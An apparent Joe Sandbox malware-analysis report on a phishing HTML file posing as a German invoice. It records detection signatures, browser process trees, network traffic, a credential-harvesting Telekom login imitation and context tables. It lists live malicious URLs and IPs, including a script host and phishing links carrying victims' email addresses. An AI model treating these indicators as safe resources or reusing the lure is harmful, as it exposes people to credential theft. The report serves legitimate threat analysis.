Edit tour

Windows Analysis Report
RECHNUNG_Lieferschein_001927.htm

Overview

General Information

Sample name:	RECHNUNG_Lieferschein_001927.htm
Analysis ID:	1633675
MD5:	bde9b127e136e1596ff7d7be5790759f
SHA1:	573352726f4a2f4191e3a78a84d1f19085c67c26
SHA256:	50b993abace304ad8e61e7c0d80b5a39e63dfc127476b7ec0bafeb114398c6d2
Infos:

Detection

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

Detected javascript redirector / loader

HTML Script injector detected

HTML document with suspicious name

HTML document with suspicious title

HTML file submission containing password form

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4840 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\RECHNUNG_Lieferschein_001927.htm" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5328 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2068,i,18025724724038731127,13451297656020395520,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --no-pre-read-main-dll --field-trial-handle=2068,i,18025724724038731127,13451297656020395520,262144 --variations-seed-version --mojo-platform-channel-handle=1460 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

HTTP traffic detected: POST /domainreliability/upload HTTP/1.1Host: beacons.gcp.gvt2.comConnection: keep-aliveContent-Length: 314Content-Type: application/json; charset=utf-8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_112.4.dr

String found in binary or memory: http://opensource.org/licenses/MIT).

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52432
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52433
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52434
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

System Summary

HTML document with suspicious name

Source: Name includes: RECHNUNG_Lieferschein_001927.htm

Initial sample: rechnung

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir4840_2114630539

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir4840_2114630539

Jump to behavior

Source: classification engine

Classification label: mal60.phis.winHTM@41/21@66/10

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Local\Packages\cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\RECHNUNG_Lieferschein_001927.htm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2068,i,18025724724038731127,13451297656020395520,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --no-pre-read-main-dll --field-trial-handle=2068,i,18025724724038731127,13451297656020395520,262144 --variations-seed-version --mojo-platform-channel-handle=1460 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2068,i,18025724724038731127,13451297656020395520,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --no-pre-read-main-dll --field-trial-handle=2068,i,18025724724038731127,13451297656020395520,262144 --variations-seed-version --mojo-platform-channel-handle=1460 /prefetch:8	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm

HTTP Parser: file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	11 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm	0%	Avira URL Cloud	safe
https://said.yasarmuhendislik.com.tr/ps.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
beacons3.gvt2.com	172.217.16.195	true	false	high
beacons-handoff.gcp.gvt2.com	216.58.206.35	true	false	high
cdn.tailwindcss.com	172.67.41.16	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
beacons2.gvt2.com	172.217.19.99	true	false	high
login.production.p5x.telekom.net	80.146.236.47	true	false	unknown
beacons.gvt2.com	142.251.143.35	true	false	high
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
www.google.com	142.250.185.68	true	false	high
beacons4.gvt2.com	216.239.32.116	true	false	high
said.yasarmuhendislik.com.tr	46.31.79.76	true	false	unknown
email.t-online.de	62.153.158.211	true	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
accounts.login.idm.telekom.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://accounts.login.idm.telekom.com/static/scale/css/login-26.16.0.css	false		high
https://said.yasarmuhendislik.com.tr/ps.js	false	Avira URL Cloud: safe	unknown
https://email.t-online.de//resources/linkmail/erleben_was_verbindet_DE.gif	false		high
https://email.t-online.de//resources/linkmail/spacer.gif	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://accounts.login.idm.telekom.com/static/scale/images/avatar.svg	false		high
file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm	true	Avira URL Cloud: safe	unknown
https://email.t-online.de//resources/linkmail/intro_stage.gif	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://accounts.login.idm.telekom.com/static/scale/scale-components/scale-components.css	false		high
https://beacons.gcp.gvt2.com/domainreliability/upload	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://opensource.org/licenses/MIT).	chromecache_112.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
172.67.41.16	cdn.tailwindcss.com	United States	13335	CLOUDFLARENETUS	false
46.31.79.76	said.yasarmuhendislik.com.tr	Turkey	207326	HOSTLABTR	false
62.153.158.211	email.t-online.de	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
142.251.116.94	unknown	United States	15169	GOOGLEUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
80.146.236.47	login.production.p5x.telekom.net	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1633675
Start date and time:	2025-03-10 13:55:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RECHNUNG_Lieferschein_001927.htm
Detection:	MAL
Classification:	mal60.phis.winHTM@41/21@66/10
Cookbook Comments:	Found application associated with file extension: .htm

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.227, 142.250.185.142, 142.250.186.142, 142.250.110.84, 142.250.185.206, 216.58.212.174, 142.250.185.138, 142.250.186.78, 216.58.206.46, 216.58.206.74, 142.250.186.74, 142.250.181.234, 142.250.186.138, 142.250.184.234, 172.217.16.202, 142.250.185.234, 142.250.185.106, 216.58.206.42, 142.250.185.170, 142.250.184.202, 142.250.186.170, 142.250.185.202, 142.250.186.42, 142.250.186.106, 2.16.100.168, 142.250.74.206, 172.217.18.14, 142.250.185.110, 172.217.16.206, 172.217.16.142, 142.250.185.67, 142.250.186.174, 172.217.23.110, 142.250.185.163, 142.250.185.174, 142.250.185.238, 23.60.203.209, 52.149.20.212
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.11.207	http://googlle.com	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.1.0/fonts/fontawesome-webfont.woff?v=4.1.0
	https://city-of-goodyear.webnode.page/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap-theme.min.css
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.3.0/fonts/fontawesome-webfont.woff2?v=4.3.0
	http://185.67.82.114	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js
	SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
172.67.41.16	https://www.pcb-cd.actor/dto/*	Get hash	malicious	Unknown	Browse
	https://drive.usercontent.google.com/u/0/uc?id=1oVYWzJi9Tw6x0zGRa8di76JxbjhDHWgd&export=download	Get hash	malicious	Unknown	Browse
	https://s3.us-east-2.amazonaws.com/pdf.invoices/02-25.html	Get hash	malicious	HTMLPhisher	Browse
	https://thelocalbiz.com/bdc.php?docid=3155794&state=ct	Get hash	malicious	Unknown	Browse
	https://drive.usercontent.google.com/u/0/uc?id=1JmlOFU9xF5LP0XvS6hM5KS6X8cSifM5-&export=download	Get hash	malicious	Unknown	Browse
	https://s3.us-east-2.amazonaws.com/tril-laxy-glou/UwyHSGw.html?EMAIL=hsneaba@hsn.net	Get hash	malicious	HTMLPhisher	Browse
	https://s3.us-east-2.amazonaws.com/tril-laxy-glow/UwyHSGw.html?EMAIL=mohallstaff@mohmuseum.org	Get hash	malicious	HTMLPhisher	Browse
	https://s3.us-east-2.amazonaws.com/tril-laxy-glow/UwyHSGw.html?EMAIL=mohallstaff@mohmuseum.org	Get hash	malicious	HTMLPhisher	Browse
	https://prantikmedhi.github.io/Instagram-	Get hash	malicious	HTMLPhisher	Browse
	https://downloader.city/	Get hash	malicious	Unknown	Browse
46.31.79.76	RFQ.xlsx	Get hash	malicious	Unknown	Browse
	Request_for_Quotation.xlam.xlsx	Get hash	malicious	Unknown	Browse
	Sales Pending Order 23.01.23.exe	Get hash	malicious	DarkCloud	Browse
	USD FATURASI.exe	Get hash	malicious	DarkCloud	Browse
	Ziraat Bankasi Swift Mesaji.pdf.exe	Get hash	malicious	DarkCloud	Browse
	WHxiiCpTpSOVc4J.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.RATX-gen.31963.32035.exe	Get hash	malicious	AgentTesla	Browse
	7X65yVEAjk.exe	Get hash	malicious	AgentTesla	Browse
	Proforma Invoice.xlsx	Get hash	malicious	AgentTesla	Browse
	boni.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdn.tailwindcss.com	https://www.pcb-cd.actor/dto/*	Get hash	malicious	Unknown	Browse	172.67.41.16
	https://drive.usercontent.google.com/u/0/uc?id=1HlAGxpD0Z9EdJFVn9k8S6TIRY_SBpAZ-&export=download	Get hash	malicious	Unknown	Browse	104.22.21.144
	https://drive.usercontent.google.com/u/0/uc?id=1oVYWzJi9Tw6x0zGRa8di76JxbjhDHWgd&export=download	Get hash	malicious	Unknown	Browse	172.67.41.16
	http://xn--ftbollibre-ndb.su	Get hash	malicious	Unknown	Browse	104.22.20.144
	https://s3.us-east-2.amazonaws.com/pdf.invoices/02-25.html	Get hash	malicious	HTMLPhisher	Browse	104.22.20.144
	https://app.rule.io/link/nl/n_1axpe0s/a/n_9xd/d/n_g0dz/di/n_rt/s/n_5f9b21/e/n_1xckxy	Get hash	malicious	Unknown	Browse	104.22.21.144
	https://thelocalbiz.com/bdc.php?docid=3155794&state=ct	Get hash	malicious	Unknown	Browse	172.67.41.16
	https://drive.usercontent.google.com/u/0/uc?id=1JmlOFU9xF5LP0XvS6hM5KS6X8cSifM5-&export=download	Get hash	malicious	Unknown	Browse	172.67.41.16
	https://s3.us-east-2.amazonaws.com/tril-laxy-glou/UwyHSGw.html?EMAIL=hsneaba@hsn.net	Get hash	malicious	HTMLPhisher	Browse	172.67.41.16
	https://s3.us-east-2.amazonaws.com/tril-laxy-glow/UwyHSGw.html?EMAIL=mohallstaff@mohmuseum.org	Get hash	malicious	HTMLPhisher	Browse	104.22.20.144
beacons3.gvt2.com	demande12_pdf.html	Get hash	malicious	Unknown	Browse	142.250.185.131
	cv(german-v).pdf	Get hash	malicious	Unknown	Browse	142.250.186.131
	https://www.google.com/url?q=https%3A%2F%2Fpoizonus.com%2Fsu&sa=D&sntz=1&usg=AOvVaw1vivNuhukc7YPqnTjOKT1g&af6pbi8nqbgwu55cw518lklmc8rlvoy3529npBRmIAzUEe9djvzki8kdrm19expwx==fFx66xNbaFwp2wAuYMKsTBscURqb78mwqYpIp~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~p0FmCojG8ZOE3336PK8YJ7SAxYr==X2K3pHjUpcsHSSJsm15nFJNZBrB3eBocYRd	Get hash	malicious	HTMLPhisher	Browse	172.217.16.195
	Play_Voicemail_Transcription._(387.KB).svg	Get hash	malicious	HTMLPhisher	Browse	142.250.186.67
	https://gumbys.com	Get hash	malicious	Unknown	Browse	172.217.23.99
	http://www.fedex.com/officebillingonline	Get hash	malicious	Unknown	Browse	142.250.184.195
	https://duro-dakovic.valbeeek-law.com/	Get hash	malicious	HTMLPhisher	Browse	142.250.186.35
	http://www.staywild.com	Get hash	malicious	Unknown	Browse	172.217.23.99
	https://www.metabunisess.com/667HTRGH446778	Get hash	malicious	Unknown	Browse	142.251.40.227
	https://6372d62e.0aaebc6947a6b6dcc1d0df68.workers.dev/?qrc=maria.olsen@sbafla.com	Get hash	malicious	HTMLPhisher	Browse	142.250.72.99
maxcdn.bootstrapcdn.com	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#luke.tatam@southwark.anglican.org	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://survey2.lamresearch.com/k/SsQRQWURsRUSsPsPsPsWTRTXRWWP	Get hash	malicious	Unknown	Browse	104.18.11.207
	http://partybear.me	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://ln.run/a1FLK/#c3BhbUBoeXVuZGFpbW92ZXguY29t	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://ipfs.io/ipfs/QmfCLiDeCZJwQBA54eiqv1EKXuiCXRAXy4V1yNEeCL5A4B	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://signaturerequestdocumentsmarch.sombrainfinita.de/uN7hn	Get hash	malicious	Unknown	Browse	104.18.10.207
	Play_Voicemail_Transcription._(387.KB).svg	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://ipfs.io/ipfs/bafkreieqld65z4s3qt2ewjyg6bbbyhkdl2tlzzvflxmef66o3zugau2mtu/#bgruwez@youtube.com	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://ipfs.io/ipfs/bafkreieqld65z4s3qt2ewjyg6bbbyhkdl2tlzzvflxmef66o3zugau2mtu/#bgruwez@besix.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
beacons-handoff.gcp.gvt2.com	http://www.google.com	Get hash	malicious	Unknown	Browse	142.250.180.67
	https://railrent.pexrayitech.com/	Get hash	malicious	HTMLPhisher	Browse	142.251.143.35
	https://www.sootool.net/jsdbzoom	Get hash	malicious	Unknown	Browse	142.250.180.99
	https://222.20.205.92.host.secureserver.net/cliente76984/Contrato_Autenticar33895	Get hash	malicious	Unknown	Browse	142.250.186.67
	https://cdn-facxxx.b-cdn.net/	Get hash	malicious	Unknown	Browse	142.250.180.67
	https://youtu.be/lqfR3CHGCNQ?si=o9SA3JjXZZDT0hew	Get hash	malicious	Unknown	Browse	142.250.185.99
	demande12_pdf.html	Get hash	malicious	Unknown	Browse	142.251.143.35
	https://drive.google.com/uc?export=download&id=1hUf5CK2m4PcshRxUmPgroynM1IYMgtzX	Get hash	malicious	Unknown	Browse	142.250.185.131
	f1215469392.dll	Get hash	malicious	Unknown	Browse	142.250.180.99
	https://www.sharepoint-porr.com/v1-0	Get hash	malicious	Unknown	Browse	142.250.185.163

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://raretoonsindia.co	Get hash	malicious	Unknown	Browse	104.21.25.152
	3tEL1ZRXA6.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#luke.tatam@southwark.anglican.org	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	zYAfYcBcCD.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	IWu5fyDQYO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.64.1
